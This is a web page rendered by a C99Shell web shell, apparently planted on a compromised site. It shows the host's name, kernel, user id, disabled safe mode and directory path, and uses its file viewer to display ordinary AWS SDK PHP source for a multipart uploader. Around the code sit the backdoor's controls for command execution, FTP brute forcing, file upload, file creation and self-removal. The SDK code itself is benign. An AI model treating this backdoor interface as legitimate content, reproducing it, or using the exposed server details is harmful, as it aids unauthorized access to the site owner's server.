!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/Multipart/   drwxr-xr-x
Free 28.74 GB of 117.98 GB (24.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractUploader.php (4.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Multipart;

use 
Aws\AwsClientInterface as Client;
use 
Aws\Exception\AwsException;
use 
GuzzleHttp\Psr7;
use 
InvalidArgumentException as IAE;
use 
Psr\Http\Message\StreamInterface as Stream;

abstract class 
AbstractUploader extends AbstractUploadManager
{
    
/** @var Stream Source of the data to be uploaded. */
    
protected $source;

    
/**
     * @param Client $client
     * @param mixed  $source
     * @param array  $config
     */
    
public function __construct(Client $client$source, array $config = [])
    {
        
$this->source $this->determineSource($source);
        
parent::__construct($client$config);
    }

    
/**
     * Create a stream for a part that starts at the current position and
     * has a length of the upload part size (or less with the final part).
     *
     * @param Stream $stream
     *
     * @return Psr7\LimitStream
     */
    
protected function limitPartStream(Stream $stream)
    {
        
// Limit what is read from the stream to the part size.
        
return new Psr7\LimitStream(
            
$stream,
            
$this->state->getPartSize(),
            
$this->source->tell()
        );
    }

    protected function 
getUploadCommands(callable $resultHandler)
    {
        
// Determine if the source can be seeked.
        
$seekable $this->source->isSeekable()
            && 
$this->source->getMetadata('wrapper_type') === 'plainfile';

        for (
$partNumber 1$this->isEof($seekable); $partNumber++) {
            
// If we haven't already uploaded this part, yield a new part.
            
if (!$this->state->hasPartBeenUploaded($partNumber)) {
                
$partStartPos $this->source->tell();
                if (!(
$data $this->createPart($seekable$partNumber))) {
                    break;
                }
                
$command $this->client->getCommand(
                    
$this->info['command']['upload'],
                    
$data $this->state->getId()
                );
                
$command->getHandlerList()->appendSign($resultHandler'mup');
                
$numberOfParts $this->getNumberOfParts($this->state->getPartSize());
                if (isset(
$numberOfParts) && $partNumber $numberOfParts) {
                    throw new 
$this->config['exception_class'](
                        
$this->state,
                        new 
AwsException(
                            
"Maximum part number for this job exceeded, file has likely been corrupted." .
                            
"  Please restart this upload.",
                            
$command
                        
)
                    );
                }

                yield 
$command;
                if (
$this->source->tell() > $partStartPos) {
                    continue;
                }
            }

            
// Advance the source's offset if not already advanced.
            
if ($seekable) {
                
$this->source->seek(min(
                    
$this->source->tell() + $this->state->getPartSize(),
                    
$this->source->getSize()
                ));
            } else {
                
$this->source->read($this->state->getPartSize());
            }
        }
    }

    
/**
     * Generates the parameters for an upload part by analyzing a range of the
     * source starting from the current offset up to the part size.
     *
     * @param bool $seekable
     * @param int  $number
     *
     * @return array|null
     */
    
abstract protected function createPart($seekable$number);

    
/**
     * Checks if the source is at EOF.
     *
     * @param bool $seekable
     *
     * @return bool
     */
    
private function isEof($seekable)
    {
        return 
$seekable
            
$this->source->tell() < $this->source->getSize()
            : !
$this->source->eof();
    }

    
/**
     * Turns the provided source into a stream and stores it.
     *
     * If a string is provided, it is assumed to be a filename, otherwise, it
     * passes the value directly to `Psr7\Utils::streamFor()`.
     *
     * @param mixed $source
     *
     * @return Stream
     */
    
private function determineSource($source)
    {
        
// Use the contents of a file as the data source.
        
if (is_string($source)) {
            
$source Psr7\Utils::tryFopen($source'r');
        }

        
// Create a source stream.
        
$stream Psr7\Utils::streamFor($source);
        if (!
$stream->isReadable()) {
            throw new 
IAE('Source stream must be readable.');
        }

        return 
$stream;
    }

    protected function 
getNumberOfParts($partSize)
    {
        if (
$sourceSize $this->source->getSize()) {
            return 
ceil($sourceSize/$partSize);
        }
        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--